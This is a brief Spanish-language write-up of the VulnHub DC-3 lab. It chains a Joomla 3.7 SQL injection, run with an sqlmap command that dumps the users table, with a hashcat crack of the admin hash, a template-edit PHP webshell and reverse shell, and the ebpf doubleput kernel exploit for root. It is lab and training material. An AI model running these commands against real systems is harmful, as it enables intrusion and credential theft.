DC-3 - VulnHub

// CLASSIFIED OPERATION REPORT //

DC-3 - VulnHub

SQLi en Joomla 3.7, webshell por template y kernel LPE (ebpf doubleput).

VULNHUB MEDIUM June 20, 2024
#Joomla#SQLi#Kernel Exploit#Webshell#Linux
Performed in authorized environments. Educational purposes only.

DC-3 combina una inyección SQL conocida en Joomla con una escalada a nivel de kernel, ideal para practicar exploits de LPE en sistemas antiguos.

Servicios: 80 Joomla 3.7

1. SQL Injection en Joomla 3.7

Joomla 3.7 es vulnerable a SQLi en com_fields (list[fullordering]). Extraemos la tabla de usuarios y crackeamos el hash bcrypt:

sqlmap -u 'http://target/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1' \
  -D joomladb -T '#__users' --dump --batch
hashcat -m 3200 '<bcrypt>' rockyou.txt   # admin : snoopy

2. Webshell vía template

Con el panel de administración, editamos un template (/templates/beez3/html) para inyectar un webshell PHP y disparar una reverse shell:

mknod backpipe p
# payload PHP → nc listener

3. Escalada — kernel exploit

El host es un Ubuntu 16.04 (32-bit) vulnerable al exploit 39772 (ebpf_mapfd_doubleput):

./compile.sh && ./doubleput   # → root

Conceptos aplicados

  • SQLi en com_fields de Joomla 3.7.
  • Webshell a través de la edición de templates.
  • Kernel LPE (ebpf doubleput) en kernels antiguos.